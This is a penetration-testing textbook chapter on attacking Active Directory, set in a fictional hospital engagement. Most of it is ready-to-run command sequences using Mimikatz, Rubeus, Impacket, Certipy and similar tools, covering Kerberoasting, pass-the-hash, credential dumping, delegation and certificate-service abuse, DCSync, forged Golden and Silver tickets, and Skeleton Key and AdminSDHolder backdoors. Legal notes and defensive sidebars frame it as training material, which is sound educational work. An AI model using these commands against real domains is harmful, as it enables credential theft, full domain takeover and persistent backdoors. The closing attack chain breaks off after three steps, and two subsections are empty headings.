Chapter 17: Active Directory Attacks

"Active Directory is the crown jewel of enterprise networks. When you own the domain, you own everything---every workstation, every server, every mailbox, every file share, every secret. That is why every serious penetration test and red team engagement ends with one question: Can they get to Domain Admin?" --- A Veteran Red Team Operator

Introduction

Active Directory (AD) is the backbone of over 90% of enterprise networks. It manages authentication, authorization, group policies, DNS, certificate services, and more for millions of organizations worldwide. For penetration testers, Active Directory represents the single most important attack surface in any engagement---and mastering AD attacks is what separates competent testers from elite operators.

In the MedSecure Health Systems engagement, your team has achieved local administrator access on a domain-joined workstation (Chapter 16). Now the real work begins. MedSecure's AD environment manages 3,000 users across 50 servers, including the Electronic Health Records system, billing infrastructure, and medical device management network. The domain controller holds the keys to all of it. Your mission: demonstrate a complete attack path from compromised workstation to domain administrator, proving that a single phishing email could lead to the exposure of 500,000 patient records.

This chapter takes you through that journey. We start with AD architecture from an attacker's perspective, move through enumeration and initial credential attacks, progress to delegation abuse and certificate service exploitation, and culminate with domain dominance techniques. Every technique is mapped to real-world attacks---the SolarWinds breach, ransomware campaigns, and advanced persistent threats that have leveraged these exact methods.

⚖️ Legal Note: Active Directory attacks can affect entire organizational networks. These techniques must only be performed within the explicitly authorized scope of a penetration test, with clear approval from stakeholders who understand the potential impact. Attacking production AD environments carries significant risk of disruption. Always prefer lab environments or isolated test domains when possible.

17.1 Active Directory Architecture for Pentesters

Understanding AD architecture is essential for knowing what to attack and why specific attacks work.

17.1.1 Core Components

Domain Controller (DC): The server running Active Directory Domain Services (AD DS). It stores the AD database (NTDS.dit), authenticates users, enforces Group Policy, and replicates data with other DCs. Compromising a DC gives you complete control of the domain.

Active Directory Database (NTDS.dit): The database file storing all AD objects---users, computers, groups, trusts---and their attributes, including password hashes. Located at C:\Windows\NTDS\ntds.dit on domain controllers. This is the ultimate target.

SYSVOL: A shared folder replicated across all DCs containing Group Policy Objects (GPOs), login scripts, and other domain-wide files. Accessible by all authenticated domain users. Historically contained plaintext passwords in Group Policy Preferences (GPP).

Global Catalog: A partial replica of all objects across a forest, used for cross-domain searches. Runs on designated DCs on port 3268/3269.

Organizational Units (OUs): Containers used to organize objects within a domain. Group Policies are linked to OUs, making them important for understanding what policies apply where.

17.1.2 Trust Relationships

Trusts define how authentication works between domains:

17.1.3 Kerberos Authentication

Kerberos is the default authentication protocol in Active Directory. Understanding its flow is critical because nearly every AD attack exploits some aspect of Kerberos.

The Kerberos Flow:

1. AS-REQ (Authentication Service Request): Client sends username + encrypted timestamp (encrypted with user's password hash) to the Key Distribution Center (KDC) on the DC.
2. AS-REP (Authentication Service Reply): KDC validates the credentials and returns a Ticket Granting Ticket (TGT), encrypted with the krbtgt account's hash.
3. TGS-REQ (Ticket Granting Service Request): Client presents TGT to request a Service Ticket for a specific service (identified by SPN).
4. TGS-REP (Ticket Granting Service Reply): KDC returns a Service Ticket encrypted with the target service account's hash.
5. AP-REQ (Application Request): Client presents the Service Ticket to the target service.
6. AP-REP (Application Reply): Service decrypts the ticket and grants access.

Key Insight for Attackers: The TGT is encrypted with the krbtgt hash (Golden Ticket attack), and Service Tickets are encrypted with the service account's hash (Kerberoasting, Silver Ticket attacks). If you obtain these hashes, you can forge tickets at will.

17.1.4 NTLM Authentication

Despite Kerberos being preferred, NTLM authentication is still widely used as a fallback:

1. Client sends username to server
2. Server responds with a challenge (nonce)
3. Client encrypts the challenge with the user's NTLM hash and sends it back
4. Server validates with the DC

NTLM Relay: Because NTLM does not inherently bind authentication to a specific service, authentication can be relayed to other services---a critical attack vector.

17.1.5 Group Policy

Group Policy Objects (GPOs) apply configurations to users and computers across the domain. GPO permissions and configurations are significant:

• GPO misconfiguration can allow escalation (modifiable GPOs linked to privileged OUs)
• Group Policy Preferences historically stored encrypted passwords (MS14-025)
• Logon scripts defined in GPOs execute with the user's context

🔵 Blue Team Perspective: Implement tiered administration: Tier 0 (domain controllers and AD infrastructure), Tier 1 (servers), Tier 2 (workstations). Never allow Tier 0 credentials to be used on lower tiers. Deploy Microsoft's Enhanced Security Administrative Environment (ESAE) or its modern equivalent, Privileged Access Workstations (PAWs).

17.2 Active Directory Enumeration

AD enumeration is the foundation of every AD attack. The more you know about the environment, the more attack paths you can identify.

17.2.1 BloodHound

BloodHound revolutionized AD security by visualizing attack paths through graph theory. Created by SpecterOps (Andrew Robbins, Rohan Vazarkar, and Will Schroeder), it ingests data about AD relationships and identifies paths to Domain Admin that no human could find manually.

Data Collection with SharpHound:

# SharpHound - C# collector (preferred)
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
.\SharpHound.exe -c All -d medsecure.local --stealth

# Collection methods:
# Default: Group, LocalAdmin, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
# All: All collection methods
# Session: Active sessions on computers
# LoggedOn: Currently logged-on users
# Stealth: Single-threaded, slower but quieter

# PowerShell collector (alternative)
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain medsecure.local

Analyzing in BloodHound:

# Key pre-built queries in BloodHound:
1. "Find Shortest Paths to Domain Admins"
2. "Find Principals with DCSync Rights"
3. "Find Computers where Domain Users are Local Admin"
4. "Find Kerberoastable Accounts with Most Privileges"
5. "Shortest Paths to Unconstrained Delegation Systems"
6. "Find AS-REP Roastable Users"
7. "Shortest Paths from Owned Principals"

# Custom Cypher queries:
# Find all Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames

# Find users with DCSync rights
MATCH (u)-[:MemberOf*1..]->(g:Group)-[:DCSync|GetChangesAll*1..]->(d:Domain)
RETURN u.name, g.name

17.2.2 PowerView

PowerView (part of PowerSploit) is a PowerShell-based AD enumeration framework:

# Import PowerView
Import-Module .\PowerView.ps1

# Domain Information
Get-Domain
Get-DomainController
Get-Forest
Get-ForestDomain

# User Enumeration
Get-DomainUser | Select-Object samaccountname, description, memberof
Get-DomainUser -SPN  # Kerberoastable users
Get-DomainUser -PreauthNotRequired  # AS-REP Roastable users
Get-DomainUser -AdminCount  # Users with AdminCount=1

# Group Enumeration
Get-DomainGroup | Select-Object samaccountname
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Enterprise Admins"

# Computer Enumeration
Get-DomainComputer | Select-Object dnshostname, operatingsystem
Get-DomainComputer -Unconstrained  # Unconstrained delegation
Get-DomainComputer -TrustedToAuth  # Constrained delegation

# GPO Enumeration
Get-DomainGPO | Select-Object displayname, gpcfilesyspath
Get-DomainGPOLocalGroup  # GPOs granting local admin

# ACL Enumeration
Find-InterestingDomainAcl  # ACLs that grant control
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs

# Trust Enumeration
Get-DomainTrust
Get-ForestTrust

# Share Enumeration
Find-DomainShare -CheckShareAccess

# Session/Logged-on Enumeration
Get-NetSession -ComputerName dc01
Get-NetLoggedon -ComputerName dc01

17.2.3 ADRecon

ADRecon generates comprehensive AD reports:

# Run ADRecon
.\ADRecon.ps1

# With specific options
.\ADRecon.ps1 -DomainController dc01.medsecure.local -Creds $creds

# Generates Excel reports covering:
# - Forest, Domain, Trust information
# - Sites, Subnets, DNS
# - Users, Groups, Computers
# - Group Policies, OUs
# - SPNs, ACLs, LAPS

17.2.4 Enumeration from Linux

# Using CrackMapExec / NetExec
crackmapexec smb 10.10.10.0/24
crackmapexec smb dc01 -u 'j.smith' -p 'Password123' --users
crackmapexec smb dc01 -u 'j.smith' -p 'Password123' --groups
crackmapexec smb dc01 -u 'j.smith' -p 'Password123' --shares

# Using ldapsearch
ldapsearch -x -H ldap://dc01.medsecure.local -D "j.smith@medsecure.local" -w 'Password123' -b "DC=medsecure,DC=local" "(objectClass=user)" sAMAccountName

# Using Impacket
python3 GetADUsers.py medsecure.local/j.smith:Password123 -all -dc-ip 10.10.10.1
python3 GetUserSPNs.py medsecure.local/j.smith:Password123 -dc-ip 10.10.10.1

# Using enum4linux-ng
enum4linux-ng -A 10.10.10.1 -u 'j.smith' -p 'Password123'

🔵 Blue Team Perspective: Monitor for LDAP enumeration by tracking high-volume LDAP queries from non-administrative accounts. Deploy honeypot accounts with attractive names (e.g., "svc_backup", "sql_admin") and monitor for authentication attempts. Use Microsoft Defender for Identity (MDI) to detect reconnaissance activities like BloodHound data collection.

17.3 Kerberoasting and AS-REP Roasting

Kerberoasting and AS-REP Roasting are often the first credential attacks attempted in an AD engagement because they require only standard domain user access.

17.3.1 Kerberoasting

The Attack: Any authenticated domain user can request a Kerberos Service Ticket (TGS) for any service with an SPN (Service Principal Name) registered in AD. The Service Ticket is encrypted with the service account's NTLM hash. If the service account has a weak password, the ticket can be cracked offline.

Why It Works: This is not a vulnerability---it is a fundamental feature of Kerberos. The security depends entirely on the strength of service account passwords.

# Using Rubeus (from Windows)
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Target specific users
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hash.txt

# Using PowerView
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat

# Using Invoke-Kerberoast
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File kerberoast.txt

# Using Impacket (from Linux)
python3 GetUserSPNs.py medsecure.local/j.smith:Password123 -dc-ip 10.10.10.1 -request -outputfile kerberoast.txt

# Crack the hashes
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt

MedSecure Scenario: Your BloodHound analysis reveals that the svc_ehr service account has an SPN registered for the MedSecure EHR application and is a member of the "EHR Administrators" group, which has local admin on all EHR servers. You Kerberoast the account:

$ python3 GetUserSPNs.py medsecure.local/j.smith:Password123 -dc-ip 10.10.10.1 -request
ServicePrincipalName     Name       MemberOf
-----------------------  ---------  ----------------------------------
MSSQLSvc/ehr-db:1433     svc_ehr    CN=EHR Administrators,CN=Groups...
HTTP/ehr-web.medsecure   svc_ehr    CN=EHR Administrators,CN=Groups...

$krb5tgs$23$*svc_ehr$MEDSECURE.LOCAL$...[hash data]...

$ hashcat -m 13100 hash.txt rockyou.txt
$krb5tgs$23$*svc_ehr$MEDSECURE.LOCAL$...:EHRservice2019!

# Password cracked: EHRservice2019!

17.3.2 Targeted Kerberoasting

If you have write access to a user object (GenericWrite, GenericAll, WriteProperty), you can set an SPN on any account, making it Kerberoastable:

# Set an SPN on a target account (requires write permission)
Set-DomainObject -Identity 'admin.target' -Set @{serviceprincipalname='fake/YOURSERVICE'}

# Kerberoast the target
.\Rubeus.exe kerberoast /user:admin.target

# Clean up - remove the SPN
Set-DomainObject -Identity 'admin.target' -Clear serviceprincipalname

17.3.3 AS-REP Roasting

The Attack: If a user account has "Do not require Kerberos preauthentication" enabled, anyone can request an AS-REP for that user without knowing their password. The AS-REP contains data encrypted with the user's hash, which can be cracked offline.

# Find AS-REP Roastable users
Get-DomainUser -PreauthNotRequired

# Using Rubeus
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# Target specific user
.\Rubeus.exe asreproast /user:legacy.service /outfile:hash.txt

# Using Impacket (from Linux)
python3 GetNPUsers.py medsecure.local/ -usersfile users.txt -dc-ip 10.10.10.1 -format hashcat -outputfile asrep.txt

# Without knowing valid users (if null sessions allowed)
python3 GetNPUsers.py medsecure.local/ -dc-ip 10.10.10.1 -request

# Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

17.3.4 Defense Considerations

🔵 Blue Team Perspective: For Kerberoasting defense: use Group Managed Service Accounts (gMSAs) which have 120-character random passwords rotated automatically. If gMSAs aren't possible, enforce 25+ character passwords on service accounts and rotate them regularly. Monitor for Event ID 4769 (Kerberos Service Ticket operations) with ticket encryption type 0x17 (RC4), which indicates Kerberoasting. For AS-REP Roasting: audit all accounts with "Do not require Kerberos preauthentication" and disable it unless absolutely required.

17.4 Pass-the-Ticket, Overpass-the-Hash, and Pass-the-Hash

Once you obtain credentials (hashes or tickets), lateral movement and escalation techniques allow you to use them without knowing the plaintext password.

17.4.1 Pass-the-Hash (PtH)

Pass-the-Hash uses the NTLM hash directly for authentication without cracking it:

# Using Impacket
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 medsecure.local/administrator@10.10.10.50

python3 wmiexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 medsecure.local/administrator@10.10.10.50

python3 smbexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 medsecure.local/administrator@10.10.10.50

# Using CrackMapExec
crackmapexec smb 10.10.10.50 -u administrator -H e19ccf75ee54e06b06a5907af13cef42

# Execute commands
crackmapexec smb 10.10.10.50 -u administrator -H e19ccf75ee54e06b06a5907af13cef42 -x "whoami"

# Using Mimikatz (from Windows)
sekurlsa::pth /user:administrator /domain:medsecure.local /ntlm:e19ccf75ee54e06b06a5907af13cef42

17.4.2 Overpass-the-Hash

Overpass-the-Hash converts an NTLM hash into a Kerberos TGT, allowing Kerberos-based lateral movement (which bypasses networks that block NTLM):

# Using Rubeus
.\Rubeus.exe asktgt /user:administrator /rc4:e19ccf75ee54e06b06a5907af13cef42 /ptt

# Using Mimikatz
sekurlsa::pth /user:administrator /domain:medsecure.local /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe

# Using Impacket
python3 getTGT.py medsecure.local/administrator -hashes :e19ccf75ee54e06b06a5907af13cef42
export KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass medsecure.local/administrator@dc01.medsecure.local

17.4.3 Pass-the-Ticket (PtT)

Pass-the-Ticket injects an existing Kerberos ticket into the current session:

# Extract tickets from memory using Mimikatz
sekurlsa::tickets /export

# Or using Rubeus
.\Rubeus.exe dump

# Inject a ticket
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Using Mimikatz
kerberos::ptt ticket.kirbi

# Verify
klist

# Using Impacket (Linux)
export KRB5CCNAME=/tmp/ticket.ccache
python3 psexec.py -k -no-pass medsecure.local/administrator@dc01.medsecure.local

17.4.4 Extracting Credentials

To perform these attacks, you first need credentials. Common extraction methods:

# Mimikatz - dump LSASS
privilege::debug
sekurlsa::logonpasswords  # Plaintext passwords, NTLM hashes, Kerberos tickets
sekurlsa::wdigest         # WDigest passwords (if enabled)
sekurlsa::kerberos        # Kerberos tickets

# Mimikatz - dump SAM
lsadump::sam

# From Linux with credentials
python3 secretsdump.py medsecure.local/admin:Password123@10.10.10.50

# Using CrackMapExec
crackmapexec smb 10.10.10.50 -u admin -p Password123 --lsa
crackmapexec smb 10.10.10.50 -u admin -p Password123 --sam
crackmapexec smb 10.10.10.50 -u admin -p Password123 --ntds  # From DC

🔵 Blue Team Perspective: Implement Credential Guard to protect LSASS from credential dumping. Enable Protected Users security group for privileged accounts (disables NTLM, WDigest, and credential caching). Deploy Microsoft Defender for Identity to detect Pass-the-Hash and Pass-the-Ticket attacks. Implement network segmentation to limit lateral movement. Use LAPS to ensure unique local admin passwords on every machine.

17.5 Delegation Attacks

Kerberos delegation allows services to impersonate users when accessing other services. Delegation misconfigurations are among the most powerful and commonly exploited AD weaknesses.

17.5.1 Unconstrained Delegation

The Concept: When a server is configured for unconstrained delegation, it receives and stores the TGT of any user that authenticates to it. The server can then use that TGT to authenticate to any service on behalf of the user.

The Attack: If you compromise a server with unconstrained delegation, you can extract cached TGTs and use them to impersonate those users anywhere in the domain.

# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained | Select-Object dnshostname

# Using ADSearch
.\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

# Extract cached TGTs using Mimikatz (on the compromised delegation server)
sekurlsa::tickets /export

# Or using Rubeus
.\Rubeus.exe triage
.\Rubeus.exe dump /service:krbtgt /luid:0x12345 /nowrap

# Inject the extracted TGT
.\Rubeus.exe ptt /ticket:<base64_ticket>

Printer Bug / SpoolSample: You can force a DC to authenticate to a server with unconstrained delegation:

# Using SpoolSample to coerce DC authentication
.\SpoolSample.exe dc01.medsecure.local compromised-server.medsecure.local

# Monitor on the compromised server using Rubeus
.\Rubeus.exe monitor /interval:5 /nowrap

# When DC01$ TGT appears, inject it
.\Rubeus.exe ptt /ticket:<DC01_TGT>

# Now impersonating DC01$ - perform DCSync

17.5.2 Constrained Delegation

The Concept: Constrained delegation limits which services a server can delegate to (specified in the msDS-AllowedToDelegateTo attribute). The server uses S4U2Self and S4U2Proxy extensions.

The Attack: If you compromise an account with constrained delegation, you can impersonate any user (including Domain Admins) to the specific services listed.

# Find constrained delegation
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname, msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

# Using Rubeus - request ticket for a target service impersonating a Domain Admin
.\Rubeus.exe s4u /user:svc_web /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/dc01.medsecure.local /ptt

# Alternative service exploitation:
# If delegation is to HTTP/server, you can often also access CIFS/server
# This works because the SPN in the ticket can be modified (service name != verification)
.\Rubeus.exe s4u /user:svc_web /rc4:HASH /impersonateuser:administrator /msdsspn:http/dc01.medsecure.local /altservice:cifs /ptt

# Using Impacket
python3 getST.py -spn cifs/dc01.medsecure.local -impersonate administrator medsecure.local/svc_web -hashes :HASH
export KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass medsecure.local/administrator@dc01.medsecure.local

17.5.3 Resource-Based Constrained Delegation (RBCD)

The Concept: RBCD flips the model---instead of the delegating service specifying where it can delegate (front-end), the target service specifies who can delegate to it (back-end), stored in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

The Attack: If you can write to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a target computer (through GenericWrite, GenericAll, or WriteDacl permissions), you can configure it to allow delegation from an account you control.

# Prerequisites:
# 1. Ability to create a computer account (default: any domain user can create up to 10)
# 2. Write access to target computer's msDS-AllowedToActOnBehalfOfOtherIdentity

# Step 1: Create a computer account
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKECOMP -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)

# Step 2: Configure RBCD on target
$ComputerSID = Get-DomainComputer FAKECOMP -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject -Identity 'target-server$' -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Step 3: Use Rubeus to get a ticket
.\Rubeus.exe s4u /user:FAKECOMP$ /rc4:HASH_OF_FAKECOMP /impersonateuser:administrator /msdsspn:cifs/target-server.medsecure.local /ptt

# Using Impacket
python3 addcomputer.py medsecure.local/j.smith:Password123 -computer-name FAKECOMP$ -computer-pass Password123!
python3 rbcd.py -delegate-to 'target-server$' -delegate-from 'FAKECOMP$' -action write medsecure.local/j.smith:Password123
python3 getST.py -spn cifs/target-server.medsecure.local -impersonate administrator medsecure.local/'FAKECOMP$':Password123!

🔵 Blue Team Perspective: Audit delegation settings across the domain. Remove unconstrained delegation from all systems except domain controllers (which require it). Use constrained delegation with protocol transition only when necessary. Monitor changes to msDS-AllowedToActOnBehalfOfOtherIdentity. Set ms-DS-MachineAccountQuota to 0 to prevent standard users from creating computer accounts. Alert on Event ID 4741 (computer account created).

17.6 AD Certificate Services (AD CS) Attacks

Active Directory Certificate Services (AD CS) has emerged as one of the most significant AD attack surfaces since the groundbreaking "Certified Pre-Owned" research by SpecterOps in 2021. Certificate-based attacks can provide domain persistence, privilege escalation, and authentication bypass.

17.6.1 AD CS Architecture

AD CS provides Public Key Infrastructure (PKI) for an AD environment. Key components:

• Certificate Authority (CA): Issues certificates based on templates
• Certificate Templates: Define certificate properties, enrollment permissions, and what the certificate can be used for
• Enrollment Services: Web enrollment, auto-enrollment, CEP/CES

17.6.2 ESC1: Misconfigured Certificate Templates

The Most Common and Dangerous ESC: A certificate template that allows a low-privileged user to request a certificate with an arbitrary Subject Alternative Name (SAN), enabling authentication as any domain user.

Vulnerable Template Requirements: 1. ENROLLEE_SUPPLIES_SUBJECT flag is set (requester specifies the SAN) 2. Template allows Client Authentication or Smart Card Logon EKU 3. Low-privileged users have enrollment rights 4. Manager approval is not required

# Using Certify to find vulnerable templates
.\Certify.exe find /vulnerable

# Request a certificate with admin SAN
.\Certify.exe request /ca:medsecure-DC01-CA /template:VulnerableTemplate /altname:administrator

# Convert to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Authenticate using the certificate
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:CertPassword /ptt

# Using Certipy (from Linux)
certipy find -u j.smith@medsecure.local -p Password123 -dc-ip 10.10.10.1 -vulnerable

# Request certificate as administrator
certipy req -u j.smith@medsecure.local -p Password123 -ca medsecure-DC01-CA -template VulnerableTemplate -upn administrator@medsecure.local

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

17.6.3 ESC2: Any Purpose EKU or No EKU

Templates with "Any Purpose" EKU or no EKU specified can be used for client authentication:

# Find ESC2 templates
certipy find -u j.smith@medsecure.local -p Password123 -dc-ip 10.10.10.1 -vulnerable
# Look for templates with "Any Purpose" or "SubCA" EKU

17.6.4 ESC3: Certificate Request Agent

Enrollment agent certificates can be used to request certificates on behalf of other users:

# Step 1: Enroll in the enrollment agent template
.\Certify.exe request /ca:medsecure-DC01-CA /template:EnrollmentAgent

# Step 2: Use the enrollment agent certificate to request a certificate for admin
.\Certify.exe request /ca:medsecure-DC01-CA /template:User /onbehalfof:medsecure\administrator /enrollment:enrollmentagent.pfx

17.6.5 ESC4: Vulnerable Certificate Template ACLs

If you have write access to a certificate template object, you can modify it to become vulnerable to ESC1:

# Check template ACLs
.\Certify.exe find

# If you have WriteDacl or GenericAll on a template:
# Modify the template to enable ENROLLEE_SUPPLIES_SUBJECT
# Then exploit as ESC1

17.6.6 ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

If the CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, any certificate request can include an arbitrary SAN regardless of template configuration:

# Check for ESC6
certipy find -u j.smith@medsecure.local -p Password123 -dc-ip 10.10.10.1
# Look for: "User Specified SAN: Enabled" on the CA

# Exploit: request any template with arbitrary SAN
certipy req -u j.smith@medsecure.local -p Password123 -ca medsecure-DC01-CA -template User -upn administrator@medsecure.local

17.6.7 ESC7: Vulnerable CA ACLs

If you have ManageCA or ManageCertificates permissions on the CA itself:

# With ManageCA: enable EDITF_ATTRIBUTESUBJECTALTNAME2 (creates ESC6)
certipy ca -ca medsecure-DC01-CA -add-officer j.smith -u j.smith@medsecure.local -p Password123

# With ManageCertificates: approve pending requests
# Request a certificate that requires approval, then approve it yourself

17.6.8 ESC8: NTLM Relay to AD CS HTTP Endpoint

If the CA has an HTTP enrollment endpoint without EPA (Extended Protection for Authentication):

# Set up NTLM relay to the CA
python3 ntlmrelayx.py -t http://ca-server.medsecure.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce authentication from a DC (using PetitPotam, PrinterBug, etc.)
python3 PetitPotam.py attacker-ip dc01.medsecure.local

# Receive the DC certificate, authenticate
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.1

17.6.9 Certificate Persistence

Certificates typically have a longer validity period than passwords and survive password changes:

# A certificate issued for administrator remains valid even after password change
# Unless the certificate is explicitly revoked

# Export the certificate for later use
.\Certify.exe request /ca:medsecure-DC01-CA /template:VulnerableTemplate /altname:administrator
# Save the PFX - valid for the certificate lifetime (often 1 year)

🔵 Blue Team Perspective: Audit all certificate templates immediately. Disable ENROLLEE_SUPPLIES_SUBJECT on templates that do not need it. Remove enrollment permissions from low-privileged users on sensitive templates. Disable EDITF_ATTRIBUTESUBJECTALTNAME2 on all CAs. Enforce HTTPS with EPA on AD CS web enrollment. Monitor certificate enrollment events (Event ID 4886, 4887). Use PSPKIAudit or Certify to regularly audit AD CS configurations.

17.7 Domain Dominance

Domain dominance represents the final stage of AD attacks---techniques that provide complete and persistent control over the domain.

17.7.1 DCSync

The Attack: DCSync abuses the Domain Controller replication protocol (MS-DRSR) to request password data from a DC. If you have an account with replication rights (typically Domain Admins, Enterprise Admins, or accounts with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All), you can extract any user's password hash without running code on the DC.

# Using Mimikatz
lsadump::dcsync /domain:medsecure.local /user:administrator
lsadump::dcsync /domain:medsecure.local /user:krbtgt
lsadump::dcsync /domain:medsecure.local /all /csv

# Using Impacket
python3 secretsdump.py medsecure.local/admin:Password123@dc01.medsecure.local

# With hash
python3 secretsdump.py -hashes :HASH medsecure.local/admin@dc01.medsecure.local

# Just NTDS extraction
python3 secretsdump.py medsecure.local/admin:Password123@dc01.medsecure.local -just-dc-ntlm

MedSecure Scenario: After Kerberoasting svc_ehr and using it to move laterally to the EHR database server, you discover that the server's machine account has been granted replication rights (a common but dangerous misconfiguration for database synchronization). You perform DCSync:

$ python3 secretsdump.py medsecure.local/'svc_ehr':'EHRservice2019!'@dc01.medsecure.local -just-dc-user krbtgt
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a577fcf16cfef78a97a4043a7353ad47:::

With the krbtgt hash, you can forge Golden Tickets.

17.7.2 Golden Ticket

The Attack: A Golden Ticket is a forged TGT created using the krbtgt account's hash. Since the KDC uses the krbtgt hash to encrypt all TGTs, possessing this hash allows you to create a TGT for any user with any group memberships---including non-existent users with Domain Admin privileges.

Requirements: The krbtgt NTLM hash and domain SID.

# Using Mimikatz
# Create Golden Ticket
kerberos::golden /user:administrator /domain:medsecure.local /sid:S-1-5-21-3623811015-3361044348-30300820 /krbtgt:a577fcf16cfef78a97a4043a7353ad47 /ticket:golden.kirbi

# Inject the ticket
kerberos::ptt golden.kirbi

# Verify access
dir \\dc01\c$

# Using Impacket
python3 ticketer.py -nthash a577fcf16cfef78a97a4043a7353ad47 -domain-sid S-1-5-21-3623811015-3361044348-30300820 -domain medsecure.local administrator

export KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass medsecure.local/administrator@dc01.medsecure.local

Golden Ticket Properties: - Default validity: 10 years - Survives password resets (except krbtgt password reset) - Works even if the impersonated user does not exist - Can include any group SIDs (Domain Admins, Enterprise Admins, etc.)

17.7.3 Silver Ticket

The Attack: A Silver Ticket is a forged Service Ticket (TGS) for a specific service, created using the service account's NTLM hash. Unlike a Golden Ticket, it never touches the DC---the forged ticket is presented directly to the target service.

# Using Mimikatz - forge a CIFS ticket for file share access
kerberos::golden /user:administrator /domain:medsecure.local /sid:S-1-5-21-3623811015-3361044348-30300820 /target:server01.medsecure.local /service:cifs /rc4:SERVER_MACHINE_HASH /ticket:silver.kirbi

kerberos::ptt silver.kirbi
dir \\server01\c$

# Using Impacket
python3 ticketer.py -nthash SERVER_MACHINE_HASH -domain-sid S-1-5-21-3623811015-3361044348-30300820 -domain medsecure.local -spn cifs/server01.medsecure.local administrator

Silver Ticket Advantages: - Stealthier than Golden Ticket (no DC interaction) - Harder to detect (no TGT request logged on DC) - Useful for targeting specific services

Common Silver Ticket Service Types:

17.7.4 Diamond Ticket

A more advanced alternative to Golden Tickets that modifies a legitimate TGT rather than forging one from scratch, making it harder to detect:

# Using Rubeus
.\Rubeus.exe diamond /krbkey:KRBTGT_AES256_KEY /user:j.smith /password:Password123 /enctype:aes /ticketuser:administrator /domain:medsecure.local /dc:dc01.medsecure.local /ticketuserid:500 /groups:512 /ptt

17.7.5 Skeleton Key

A Skeleton Key is a persistence mechanism that patches LSASS on a DC to allow authentication with a master password while legitimate passwords continue to work:

# Using Mimikatz on a DC
privilege::debug
misc::skeleton

# Now any user can authenticate with the password "mimikatz"
# Original passwords still work
# Survives until DC reboot

# From remote:
net use \\dc01\c$ /user:medsecure\administrator mimikatz

17.7.6 AdminSDHolder and SDProp

AdminSDHolder can be abused for domain persistence. The SDProp process runs every 60 minutes and propagates the ACL from the AdminSDHolder object to all protected groups:

# Add a backdoor ACE to AdminSDHolder
# This grants GenericAll to our user on all protected groups
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=medsecure,DC=local" -PrincipalIdentity j.smith -Rights All

# After SDProp runs (within 60 minutes), j.smith has GenericAll
# on all protected groups (Domain Admins, Enterprise Admins, etc.)

17.7.7 DSRM (Directory Services Restore Mode)

The DSRM password is a local administrator password for DCs set during AD DS installation:

# Extract DSRM hash using Mimikatz (on DC)
lsadump::lsa /patch

# Change DSRM logon behavior to allow network logon
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2

# Now use the DSRM hash for Pass-the-Hash to the DC

🔵 Blue Team Perspective: Reset the krbtgt password twice (to invalidate both current and previous keys) annually and immediately after any suspected compromise. Monitor for Event ID 4769 with ticket encryption type 0x17 (RC4) which may indicate Golden/Silver Ticket usage. Implement Microsoft Defender for Identity to detect DCSync, Golden Ticket, and Skeleton Key attacks. Enable "Validate KDC PAC Signature" to detect Silver Tickets. Audit AdminSDHolder ACLs regularly.

17.8 Putting It All Together: The Complete AD Attack Chain

Let us trace the complete attack path through MedSecure's Active Directory:

1. INITIAL ACCESS
   Phishing email → j.smith opens macro → reverse shell

2. LOCAL PRIVILEGE ESCALATION (Chapter 16)
   Unquoted service path → SYSTEM on j.smith's workstation

3. CREDENTIAL HARVESTING
   Mimikatz → Extract cached credentials
